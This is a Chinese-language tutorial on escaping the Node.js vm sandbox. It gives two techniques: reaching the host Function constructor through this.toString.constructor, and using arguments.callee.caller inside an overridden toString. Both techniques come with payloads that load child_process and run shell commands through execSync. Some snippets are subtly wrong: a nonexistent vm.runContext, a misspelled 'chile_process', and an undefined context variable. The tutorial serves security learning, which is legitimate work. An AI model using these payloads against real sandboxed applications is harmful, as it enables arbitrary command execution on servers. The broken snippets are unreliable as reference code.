NodeJS沙箱逃逸
本质:只要能在沙箱内部,找到一个沙箱外部的对象,借助这个对象内的属性即可获得沙箱外的函数,进而绕过沙箱(在沙箱内部引入外部的属性,变量,异常,方法等)
使用vm模块,vm是nodejs 中内置的模块,是nodejs提供的隔离环境
1.Function构造函数实现
代码:
const vm = require('vm');
// 引入vm模块
const script = `m + n`;
// 沙箱内引入脚本执行命令
const sandbox = {m:1,n:2};
// 为沙箱中传入对象
const context = new vm.createContext(sandbox);
// 创建沙箱的上下文环境,将沙箱对象传入
const res = vm.runContext(script,sandbox);
// 通过script参数进行沙箱内部的执行
console.log(res);
分析:
this此时指向全局对象window,通过this.toString.constructor得到Function构造函数
function.constructor() == Function()
通过Function构造函数返回process,再用process模块调用子模块mainModule,再用require来导入子类的process模块,然后使用execSync执行任意命令
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
// this.toString获取到一个函数对象,this.toString.constructor获取到函数对象的构造器,即Function()这个构造函数,构造器中传入字符串类型的代码
// process模块调用mainModule,require用来导入子类的process模块,然后使用execSync执行命令
实现:
const vm = require('vm');
const script = `
const process = this.toString.constructor('return process')()
process.mainModule.require('child_process').execSync('whoami').toString()
`;
const sandbox = {m:[],n:{},x:/regexp/};
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log(res);
思考:
1.为什么不使用{}.toString.constructor('return process')(),却用this?
{} 是在沙盒内部的一个对象,而this是在沙盒外的对象(注入进来的)。沙盒内的 {} 无法获取process,因为其本身就无process
2.m和n也是沙箱外的对象,为什么不使用m.toString.constructor('return process')()实现?
因为 primitive types,数字、字符串、布尔这些都是 primitive types ,他们传递的是值,沙盒内使用的m和外部的m不是同一个m,无法利用。
可以传递引用
const sandbox = {m:[],n:{},x:/regexp/}
2. argument.callee.caller实现
代码:
const vm = require('vm');
const script = `..`;
const sandbox = Object.create(null);
// 上下文无对象,this指向为空
const res = vm.runInContext(script,context);
// Object.create(null)指向了纯净的空对象,无原型链,无this环境,无任何方式方法。
// 在js中,this指向window;nodejs中的this指向global
分析:
上下文中无对象,this指向为空
Object.create(null)创建了一个纯净的空对象,无原型链,无this环境
要清楚沙箱逃逸的本质,就是必须拿到沙箱外部的东西
这个时候就可以用到arguments.callee.caller
arguments.callee指向的是本身
arguments.callee.caller指向的是某个调用它的方法
在js中,字符串+其他,会变成一个字符串,并且会自动调用toString方法
所以,我们可以在沙箱内部函数写上arguments.callee.caller,然后在外部通过字符串拼接自动调用toString方法,触发内部函数的执行,完成逃逸
实现:
const vm = require('vm');
const script = `(() => {
const a = {}
a.toString = function() {
const cc = arguments.callee.caller;
const p = (cc.constructor('return process'))();
return p.mainModule.require('chile_process').execSync('whoami').toString();
}
return a;
})()`;
const sandbox = Object.create(null);
const context = new vm.createContext(sandbox);
const res = vm.runInContext(script,context);
console.log('hello' + res); // 通过hello触发